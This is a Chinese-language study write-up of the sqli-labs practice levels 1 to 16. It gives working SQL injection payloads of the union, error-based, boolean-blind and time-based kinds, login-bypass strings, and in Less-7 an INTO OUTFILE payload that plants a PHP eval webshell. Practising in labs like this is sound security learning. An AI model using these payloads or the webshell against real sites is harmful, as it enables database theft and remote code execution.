目录
前言
从根本上讲,当开发人员对用户的输入过滤不严,造成了用户可以通过输入SQL语句控制数据库,就会产生SQL注入漏洞。
我们使用sqli-labs的靶场来对sql注入有跟多的了解
这也是纪录我自己学习的过程,当写笔记了
Less-1
进入第一道题,打开hackbar,在url的最后写上?id=1,会发现页面的值发生了变化(输入2,3,4都有不同的显示,好像最多到14吧)
这时候把1换成其他的sql语句,比如
-1' union select 1,2,3 --+
'是用来闭合之前的语句,如果前面语句执行正确就不会有union的事了,所以要让前面执行错误的语句,因为id没有-1
union是联合语句,后面可以带一些其他的语句,这里使用的事select查看 数据库(123代表数据库的个数,需要自己去试)
--+是注释语句,正常的语句是 SELECT * FROM users WHERE id='$id' LIMIT 0,1 -1后面的'闭合了前面的',带id后面还有个',需要用--+进行注释
这样就可以查到想查的信息了
比如输入
-1' union select 1,database(),3 --+
查看到数据库的名称为security等等
Less--2
第二道题是整数型报错
输入id=1 and 1=1 --+没有报错
但是输入id=1 and 1=2 --+的时候就报错了
说明找到注入点了
可以把1=2替换成自己想利用的语句
d=-1 union select 1,2,3 --+
把前面的语句改成错误语句,如果是正确的话他会执行正确的语句直接跳过后面的语句
Less--3
当输入一个id=1'时,系统给出的报错信息 ''1'') LIMIT 0,1' 后面跟了一个)
所以猜测id的旁边应该有括号
'加了)找到了注入点,接下来可以查自己想查的东西了
id=-1') union select 1,2,3 --+
Less--4
和第三题的方法一样,不过是'换成了"
id=-1") union select 1,2,3 --+
Less-5
第五题试了一会儿,好像发现了注入点
输入?id=1' and 1=1 --+时显示的是you are in.........
但是输入?id=1' and 1=2 --+时,什么内容都没显示
应该是报错注入
尝试把1=2换成extractvalue(1,concat(0x7e,database(),0x7e))的时候,发现显示内容了
id=1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
语句中的0x7e可以替换成~
也可以用其他的语句
比如
id=1' and (select extractvalue(1,concat('~',(select database())))) --+
Less--6
跟第五题差不多,就是注入点不一样
成功找到注入点,可以报错注入了
id=1" and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
关于报错注入找到了一篇大佬的文章
Less--7
第七题
输入?id=1发现提示
提示我们使用outfile
在sql注入的时候,最常用的的是通过file函数来在数据库中写入敏感文件或者是webshell,其中into outfile是一个,还有两个是intodumpfile()和load_file()
outfile也有使用条件
1.要有file_priv权限
2.对web要有写的权限
3.要知道网站的绝对路径
测试注入点得出是'))过滤
?id=111')) union select "<?php phpinfo():eval($_REQUEST['cmd'])?>",2,3 into outfile "d:\\test\\test1.php" --+
去test文件里发现有php文件
之后可以使用蚁剑连接
Less--8
第八题是布尔盲注,就只会显示语句正确和语句错误,可以利用正确的语句来提取里面的信息
正确时的返回语句
错误的时候什么都不显示
凭借这个方法可以判断注入点是'
?id=1' and (select count(table_name) from information_Schema.tables where table_schema=database())>3 --+
判断数据库中的表是否大于3,返回正确
and (select count(table_name) from information_Schema.tables where table_schema=database())=2 布尔盲注查询表数量
and (length(database()))=8 --+ 得到数据库长度
and ascii(substr(database(),1,1))= 115 --+ 猜测数据库第一个名称字母
and ascii(substr(database(),2,1))=101 --+ 猜测数据库第二个名称字母
and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+ 擦侧数据库中表的数量
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 不断改变范围,把第一张数据表的第一个字母猜出来
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>110 不断改变范围,把第一张数据表的第二个字母猜出来
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>110 不断改变范围,把弟二张数据表的第一个字母猜出来
and (select count(column_name) from information_schema.columns where table_name='flag')=1 猜测flag表里的字段数
and ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))>110 猜测flag字段的值
Less--9
也是布尔盲注,方法和上一题一样,注入点换成了"
Less--10
时间型盲注
无论输入什么,返回值都是一样的,但是第十题出了一点问题,所以使用第十题的方法去做第八题
?id=1' and if((1=1),sleep(5),1) --+
这是延时注入寻找注入点的方法,返现闭合是',如果语句正确,会睡眠5秒钟
看左上角有没有页面正在加载,如果在加载就是正确的
接下来可以把1=1换成其他的判断语句,类似之前的盲注
知道注入原理之后可以使用sqlmap工具进行注入,节省时间
Less--11
到了11题之后,就要开始使用post注入了
post就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证
进入页面后发现,有一个输入用户名和密码的地方,首先猜测post语句和get语句差不多,用户名输入1' --+ 密码输入123随便输入
这是报错语句
如果将用户名改为万能密码 admin' or 1='1# 密码随便输入123
显示出了用户名和密码
使用harkbar的post功能进行注入
成功看见库名
Less--12
用户名输入admin" 密码随便输入之后,出现了个这个报错
再用sql万能密码试一下 admin" or 1='1#
报错的地方又出现了),接下来尝试加)
用户名输入admin")#
发现登入成功
顺带一提的是,如果用户名输入的是admin") or 1=1#
会进入到dumb的账号中,因为这是sql语句的优先级的问题,其实上一题输入也能发现这个问题
Less--13
先输入admin')#进行尝试
然后就会发现,只是显示登录成功,这应该是post型的盲注,方法跟之前的盲注类型差不多
比如用户输入admin') and (lenght(database()))=8# 密码随便输入发现显示登录成功,这就表明数据库的长度为8,更多的参考上面的盲注
Less--14
第14题就不演示了,方法和上面13题一样,闭合改为"
Less--15
第15题和上面两题的方法一样,这是闭合改成了'
Less--16
第16题和上面三道题的方法一样,闭合改成了")
做到这里不知道是我sqllib的问题还是什么问题,一直能有显示,但是看了别人写的文章的时候发现他们15和16题是没有任何显示的,如果没有显示的话,就使用延时注入,把盲注的语句换成了if((1=1),sleep(5),1)之类的语句进行判断
如果知道原理之后可以使用sqlmap会快一些